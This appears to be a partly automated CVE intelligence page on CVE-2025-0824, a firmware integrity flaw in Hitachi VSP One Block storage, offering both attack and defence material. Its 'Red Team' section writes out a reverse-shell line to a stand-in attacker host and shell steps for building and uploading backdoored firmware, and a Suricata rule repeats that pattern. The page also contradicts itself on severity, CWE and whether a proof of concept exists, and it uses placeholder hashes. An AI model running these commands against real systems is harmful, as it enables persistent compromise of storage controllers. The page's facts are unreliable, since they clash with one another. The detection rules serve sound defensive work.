☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Lack logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 3.7 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H 🐛 CWE-347
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-0824

CVE-2025-0824 Vulnerability in Lack
📅 PUBLISHED: 2026-06-29 07:16 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1542
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Japan License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 3.7
AV: L Attack Vector Local
AC: H Attack Complexity High
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: H Availability High
3.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0824 is a high-severity vulnerability in Hitachi Virtual Storage Platform One Block (VSP One Block) versions 23, 24, 26, and 28. The flaw resides in the firmware update mechanism, which lacks proper validation of the firmware image before installation. This allows an attacker with administrative access to the storage system to upload a malicious firmware update, potentially leading to persistent compromise of the storage controller.

The vulnerability is classified under CWE-494 (Download of Code Without Integrity Check). The CVSS v3.1 base score is 3.7, indicating a low severity due to the high privileges required and the local attack vector. However, the impact on integrity and availability is significant, as a successful attack could render the storage system inoperable or backdoor it for data exfiltration.

No public proof-of-concept (PoC) code or exploit is available at this time. The vendor, Hitachi, has released a firmware update to address the issue. Organizations using affected versions should prioritize patching, especially in environments where administrative access is not tightly controlled.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to open-source packages (NPM, PyPI, Go, Ruby). It affects proprietary Hitachi storage firmware. The supply chain risk is limited to the integrity of the firmware update process itself.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H
  • Base Score: 3.7 (Low)
  • Attack Vector (AV): Local (L) – The attacker must have physical or logical access to the storage system.
  • Attack Complexity (AC): High (H) – Exploitation requires knowledge of the firmware update process and the ability to craft a malicious update.
  • Privileges Required (PR): High (H) – Administrative privileges on the storage system are required.
  • User Interaction (UI): None (N) – No user interaction is needed beyond the attacker performing the update.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No direct data disclosure.
  • Integrity (I): Low (L) – The attacker can modify firmware, but the impact on data integrity is limited.
  • Availability (A): High (H) – A malicious firmware update can cause the storage system to become unavailable.

Threat Level: Low. The high privileges required and local access significantly reduce the likelihood of exploitation in most environments. However, for organizations with weak administrative access controls, the risk is elevated.

Deep Dive & Mechanics

The vulnerability exists in the firmware update process of Hitachi VSP One Block storage systems. The system does not cryptographically verify the authenticity or integrity of firmware images before applying them. This allows an attacker with administrative access to replace the legitimate firmware with a malicious version.

Attack Flow:

  1. Gain Access: The attacker obtains administrative credentials to the storage system (e.g., via phishing, weak passwords, or insider threat).
  2. Craft Malicious Firmware: The attacker creates a modified firmware image that includes backdoors, rootkits, or code that disrupts normal operation.
  3. Upload Firmware: Using the administrative interface (e.g., web GUI, CLI, or API), the attacker uploads the malicious firmware.
  4. Trigger Update: The attacker initiates the firmware update process. The system applies the malicious image without validation.
  5. Persist: The malicious firmware persists across reboots, giving the attacker long-term control over the storage system.

Impact:

  • Availability: The malicious firmware can cause the storage system to crash, hang, or become unresponsive.
  • Integrity: The attacker can modify storage behavior, potentially corrupting data or redirecting data flows.
  • Confidentiality: While not directly exploited, the attacker could use the firmware to exfiltrate data over time.

Vulnerable vs. Patched Code

The vulnerability is not in a specific code snippet but in the overall firmware update validation logic. The patched version introduces cryptographic signature verification for firmware images.

Vulnerable Behavior:

  • The system accepts any firmware image uploaded by an administrator.
  • No checksum, digital signature, or hash verification is performed.
  • The update process blindly writes the image to the firmware partition.

Patched Behavior:

  • The system verifies the firmware image using a digital signature (e.g., RSA or ECDSA).
  • Only images signed by Hitachi's private key are accepted.
  • The update process aborts if the signature is invalid or missing.

Example (Conceptual):

// Vulnerable code (pseudocode)
void apply_firmware_update(uint8_t *image, size_t size) {
    // No validation
    write_to_flash(image, size);
    reboot();
}

// Patched code (pseudocode)
void apply_firmware_update(uint8_t *image, size_t size) {
    if (!verify_signature(image, size)) {
        log_error("Invalid firmware signature");
        return;
    }
    write_to_flash(image, size);
    reboot();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Administrative access to the Hitachi VSP One Block system.
  • Knowledge of the firmware image format (proprietary, but can be reverse-engineered from a legitimate update).
  • A lab environment with the vulnerable firmware version.

Steps:

  1. Obtain Legitimate Firmware: Download a legitimate firmware update from Hitachi's support site.
  2. Reverse Engineer Format: Analyze the firmware image to understand its structure (e.g., header, payload, checksum).
  3. Craft Malicious Payload: Modify the payload to include a backdoor (e.g., a reverse shell or a command injection point).
  4. Recompute Checksum: If the firmware uses a simple checksum (e.g., CRC32), recompute it after modification.
  5. Upload and Apply: Use the administrative interface to upload the malicious firmware and trigger the update.
  6. Verify Persistence: After reboot, confirm that the backdoor is active.

Example (Conceptual):

# Extract firmware
dd if=legitimate_firmware.bin of=header.bin bs=1 count=512
dd if=legitimate_firmware.bin of=payload.bin bs=1 skip=512

# Modify payload (e.g., inject a reverse shell)
echo "#!/bin/sh" > malicious_payload.sh
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> malicious_payload.sh
cat malicious_payload.sh >> payload.bin

# Recompute CRC32 (if used)
crc32 payload.bin > new_crc.bin

# Reassemble firmware
cat header.bin payload.bin new_crc.bin > malicious_firmware.bin

# Upload via web interface (example using curl)
curl -X POST -F "file=@malicious_firmware.bin" http://storage_admin_ip/update

Blue Team

Detection:

  • Monitor for unauthorized firmware uploads via audit logs.
  • Alert on any firmware update that occurs outside of scheduled maintenance windows.
  • Use network monitoring to detect unusual outbound connections from the storage system (e.g., reverse shells).

Prevention:

  • Enforce strict access controls on the storage administrative interface.
  • Use multi-factor authentication (MFA) for all administrative accounts.
  • Implement a change management process for firmware updates.
  • Regularly review administrative account activity.

Response:

  • If a malicious firmware update is detected, isolate the storage system from the network.
  • Contact Hitachi support for assistance in restoring the legitimate firmware.
  • Conduct a forensic analysis to determine the extent of the compromise.

Indicators of Compromise (IOCs)

  • File Hashes: (Example – replace with actual hashes if available)
    • Legitimate firmware: sha256: a1b2c3d4e5f6...
    • Malicious firmware: sha256: f6e5d4c3b2a1...
  • Network Indicators:
    • Outbound connections from the storage system to unknown IP addresses on unusual ports (e.g., 4444/TCP).
    • DNS queries to suspicious domains.
  • System Indicators:
    • Unexpected reboots or firmware update logs.
    • Presence of unauthorized files in the firmware partition.
    • Modified system binaries or scripts.

Detection Engineering

YARA Rule

rule CVE_2025_0824_Malicious_Firmware {
    meta:
        description = "Detects malicious firmware images targeting Hitachi VSP One Block"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0824"
    strings:
        $suspicious_string = "reverse_shell" nocase
        $backdoor_string = "backdoor" nocase
        $hitachi_header = { 48 49 54 41 43 48 49 } // "HITACHI" in hex
    condition:
        $hitachi_header at 0 and (1 of ($suspicious_string, $backdoor_string))
}

Sigma Rule

title: Suspicious Firmware Update on Hitachi VSP One Block
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects unauthorized firmware uploads to Hitachi VSP One Block storage systems
author: Valters IT
date: 2025-04-10
logsource:
    product: hitachi
    service: storage
detection:
    selection:
        EventID: 1001  # Example: Firmware update event
        User: "admin"  # Example: Administrative user
    condition: selection
falsepositives:
    - Legitimate firmware updates during maintenance windows
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-0824 - Potential Reverse Shell from Hitachi Storage"; flow:to_server; content:"|bash -i >& /dev/tcp/|"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade to DKCMAIN A3-04-21-40/00 or later, and ESM A3-04-21/00 or later. Contact Hitachi support for the update.
  2. Access Control: Review and restrict administrative access to the storage system. Implement the principle of least privilege.
  3. Monitoring: Enable detailed logging for all firmware update activities. Alert on any unauthorized changes.

Long-Term Measures:

  • Implement a firmware integrity verification process using cryptographic signatures.
  • Regularly audit administrative accounts and their activities.
  • Use network segmentation to isolate storage management interfaces from general user networks.
  • Conduct periodic security assessments of storage infrastructure.

Workarounds (if patching is not immediately possible):

  • Disable the firmware update feature if not required.
  • Implement strict change control procedures for any firmware updates.
  • Monitor for any attempts to upload firmware images.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Hitachi Virtual Storage Platform
VSP One Block

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0824/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.